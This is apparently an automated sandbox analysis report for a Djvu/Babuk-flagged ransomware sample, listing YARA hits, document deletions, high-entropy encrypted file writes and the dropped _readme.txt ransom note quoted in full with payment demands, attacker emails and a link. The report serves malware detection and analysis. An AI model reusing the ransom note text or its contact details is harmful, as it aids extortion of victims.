Source: C:\_readme.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.You can get and look video overview decrypt tool:https://we.tl/t-0S984cQ4B3Price of private key and decrypt software is $980.Discount 50% available if you contact us first 72 hours, that's price for you is $490.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@sysmail.chReserve e-mail address to contact us:supportsys@airmail.ccYour personal ID:0430JIjdmi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1

Jump to dropped file

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 5316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7204, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22d15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22015a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23115a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22d15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23115a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23615a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22015a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22f15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2094534233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2165749001.0000000002200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2255017517.0000000002360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 6984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 2568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 5316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 4204, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7204, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7424, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7636, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7724, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File moved: C:\Users\user\Desktop\EEGWXUHVUG\EEGWXUHVUG.docx	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File deleted: C:\Users\user\Desktop\EEGWXUHVUG\EEGWXUHVUG.docx	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File moved: C:\Users\user\Desktop\ZGGKNSUKOP.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File deleted: C:\Users\user\Desktop\ZGGKNSUKOP.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File moved: C:\Users\user\Desktop\NWCXBPIUYI.mp3	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File dropped: C:\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-0s984cq4b3price of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0430jijdmi0fxruhvihm5xsi9icg243ympjqd748ocimkyjt1	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File dropped: C:\$WinREAgent\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-0s984cq4b3price of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0430jijdmi0fxruhvihm5xsi9icg243ympjqd748ocimkyjt1	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File dropped: C:\$WinREAgent\Scratch\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-0s984cq4b3price of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0430jijdmi0fxruhvihm5xsi9icg243ympjqd748ocimkyjt1	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File dropped: C:\Users\user\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-0s984cq4b3price of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0430jijdmi0fxruhvihm5xsi9icg243ympjqd748ocimkyjt1	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite entropy: 7.99836267562	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-shm entropy: 7.99392486315	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Google Profile.ico entropy: 7.99853807909	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db entropy: 7.99041809078	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG1 entropy: 7.99457287539	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.99573203308	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-shm entropy: 7.99510987976	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\PhotosAppTracing_startedInBGMode.etl entropy: 7.99724454119	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat entropy: 7.9953837901	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\StartUnifiedTileModelCache.dat entropy: 7.99642162788	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog.etl entropy: 7.9971849646	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog_Old.etl entropy: 7.99727181504	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db entropy: 7.99354680839	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db entropy: 7.99245726152	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db entropy: 7.99424119802	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db entropy: 7.99305123398	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Temp\offline.session64 entropy: 7.99726898103	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db entropy: 7.99824753293	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db entropy: 7.99759189109	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db entropy: 7.99818528773	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl entropy: 7.99254513424	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2[1].css entropy: 7.99826360964	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\PreSignInSettingsConfig[1].json entropy: 7.99775935685	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js entropy: 7.9953535039	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx entropy: 7.99702902391	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg entropy: 7.99715793003	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt entropy: 7.99144771559	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml entropy: 7.99699730063	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite entropy: 7.99799974762	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm entropy: 7.99420396278	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extensions.json entropy: 7.9944143475	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm entropy: 7.99423235585	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite entropy: 7.9981539913	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm entropy: 7.99433021216	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite entropy: 7.99727569181	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html entropy: 7.99829882963	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99719059784	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db entropy: 7.99268813337	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.session64 entropy: 7.99710309193	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Temp\user-PC-20231004-1445.log entropy: 7.99440396074	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Temp\user-PC-20231004-1547.log entropy: 7.99821988926	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Temp\chrome.exe entropy: 7.9986743577	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.wdlo (copy) entropy: 7.99268813337	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.session64.wdlo (copy) entropy: 7.99710309193	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Temp\user-PC-20231004-1445.log.wdlo (copy) entropy: 7.99440396074	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Temp\user-PC-20231004-1547.log.wdlo (copy) entropy: 7.99821988926	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Temp\chrome.exe.wdlo (copy) entropy: 7.9986743577	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Temp\offline.session64.wdlo (copy) entropy: 7.99726898103	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Temp\wct1834.tmp.wdlo (copy) entropy: 7.99706186768	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Temp\wct42C5.tmp.wdlo (copy) entropy: 7.9972409379	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Temp\wct4B1.tmp.wdlo (copy) entropy: 7.99748285213	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx.wdlo (copy) entropy: 7.99702902391	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.wdlo (copy) entropy: 7.99144771559	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.wdlo (copy) entropy: 7.99719059784	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.wdlo (copy) entropy: 7.99573203308	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.wdlo (copy) entropy: 7.99354680839	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.wdlo (copy) entropy: 7.99245726152	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.wdlo (copy) entropy: 7.99424119802	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.wdlo (copy) entropy: 7.99305123398	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db.wdlo (copy) entropy: 7.99824753293	Jump to dropped file
